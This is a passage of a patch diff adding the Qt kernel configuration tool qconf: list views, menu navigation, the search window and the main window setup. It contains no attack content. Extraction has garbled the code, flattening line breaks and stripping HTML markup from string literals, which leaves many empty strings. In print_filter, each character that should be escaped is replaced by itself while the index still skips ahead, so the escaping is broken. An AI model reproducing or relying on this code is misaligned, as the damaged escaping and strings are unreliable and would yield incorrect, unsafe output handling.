&rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if (list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + 